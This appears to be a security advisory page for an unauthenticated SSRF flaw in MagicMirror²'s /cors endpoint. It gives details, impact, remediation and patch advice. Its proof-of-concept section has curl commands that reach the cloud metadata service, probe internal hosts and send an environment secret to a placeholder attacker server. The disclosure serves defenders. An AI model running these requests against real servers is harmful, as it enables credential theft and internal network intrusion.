Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (VAR_NAME), enabling exfiltration of server-side secrets.
Details
The /cors endpoint in js/server_functions.js (function cors(), lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via fetch() and the full response is returned to the caller.
Additionally, the replaceSecretPlaceholder() function (lines 21-25) expands any VARIABLE_NAME pattern in the URL with the corresponding process.env value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).
Vulnerable code path:
GET /cors?url=<attacker-controlled-url>
→ replaceSecretPlaceholder(url) // expands **ENV_VAR** → process.env.ENV_VAR
→ fetch(url) // no validation, no blocklist
→ response returned to attacker // full body, status, headersKey issues:
- No authentication required
- No URL validation or blocklist for private/reserved IP ranges
- No restriction on URL scheme or destination
- Environment variable expansion in URL before fetch
PoC
Prerequisites: a running MagicMirror² instance accessible on the network (default: http://<host>:8080).
1. Basic SSRF - access cloud metadata (AWS IMDSv1):
curl "http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/"If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.
2. Internal network scanning:
curl "http://<target>:8080/cors?url=http://192.168.1.1/"
curl "http://<target>:8080/cors?url=http://127.0.0.1:3000/"The attacker can probe internal services by observing response status codes and timing.
3. Environment variable exfiltration:
curl "http://<target>:8080/cors?url=http://<attacker-server>/?leak=**SECRET_API_KEY**"The server expands SECRET_API_KEY to the value of process.env.SECRET_API_KEY before making the request, sending the secret to the attacker-controlled server as a query parameter.
Impact
- Cloud deployments (AWS/GCP/Azure): full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account
- Internal network access: the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker
- Secret exfiltration: environment variables containing API keys, database credentials, or other sensitive configuration are directly readable
- Affected users: anyone running MagicMirror² exposed to an untrusted network (including LAN). The
/corsendpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability
Articles & Coverage 1
AnalysisAI
Unauthenticated SSRF in MagicMirror ≤2.35.0 allows remote attackers to proxy arbitrary HTTP requests through the server, accessing cloud metadata services (AWS/GCP/Azure IMDSv1), internal network resources, and localhost services via the unrestricted /cors endpoint. The vulnerability is compounded by environment variable expansion: attackers can exfiltrate server-side secrets (API keys, database credentials) by embedding placeholders like SECRET_API_KEY in URLs, which the server resolves from process.env before making the request. Vendor-released patch version 2.36.0 disables the CORS proxy by default and implements IP blocklisting when enabled. Publicly available exploit code exists (PoC provided in GitHub advisory GHSA-ph6f-2cvq-79hq). No active exploitation confirmed at time of analysis.
Technical ContextAI
This is a Server-Side Request Forgery (CWE-918) vulnerability in MagicMirror's Node.js/Express-based HTTP server. The vulnerable /cors endpoint in js/server_functions.js was designed as a CORS bypass proxy for frontend modules to fetch external resources, but lacked authentication, URL validation, or IP range restrictions. Any HTTP GET request to /cors?url=<target> triggers a server-side fetch() call with the attacker-controlled URL. Before the fetch, the replaceSecretPlaceholder() function performs template expansion, replacing patterns like VAR_NAME with process.env.VAR_NAME. This dual vulnerability enables both classic SSRF attacks (accessing 169.254.169.254 for cloud metadata, 127.0.0.1 for localhost services, RFC1918 private networks) and direct credential exfiltration via DNS exfiltration or query parameter injection. The npm package magicmirror (CPE: pkg:npm/magicmirror) versions ≤2.35.0 are affected. MagicMirror is typically deployed on Raspberry Pi devices or home servers, often on trusted LANs, but the default configuration exposes port 8080 without authentication, making any network-reachable instance exploitable.
RemediationAI
Upgrade immediately to MagicMirror version 2.36.0 or later (released via https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.36.0), which disables the CORS proxy by default and implements IP blocklisting and DNS rebinding protections when explicitly re-enabled. The fix requires Node.js ≥22.21.1 or ≥24. If upgrading is not immediately possible, apply these compensating controls: (1) Restrict network access to the MagicMirror HTTP port (default 8080) to localhost only via firewall rules (iptables -A INPUT -p tcp --dport 8080 ! -s 127.0.0.1 -j DROP on Linux, or equivalent host firewall). This prevents remote exploitation but breaks legitimate remote access-acceptable for local-only deployments. (2) Deploy a reverse proxy (nginx, Apache, Caddy) with mandatory authentication in front of MagicMirror and block the /cors path entirely (location /cors { return 403; }). This allows authenticated remote access while neutralizing the vulnerable endpoint, but requires additional infrastructure. (3) Remove environment variables containing secrets from the MagicMirror process environment-store credentials in files with restricted permissions or use a secrets manager, then modify module configurations to read from files instead of environment variables. This mitigates secret exfiltration but does not address SSRF. None of these workarounds are complete substitutes for patching; upgrade to 2.36.0 is the only full remediation.
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-30313
GHSA-ph6f-2cvq-79hq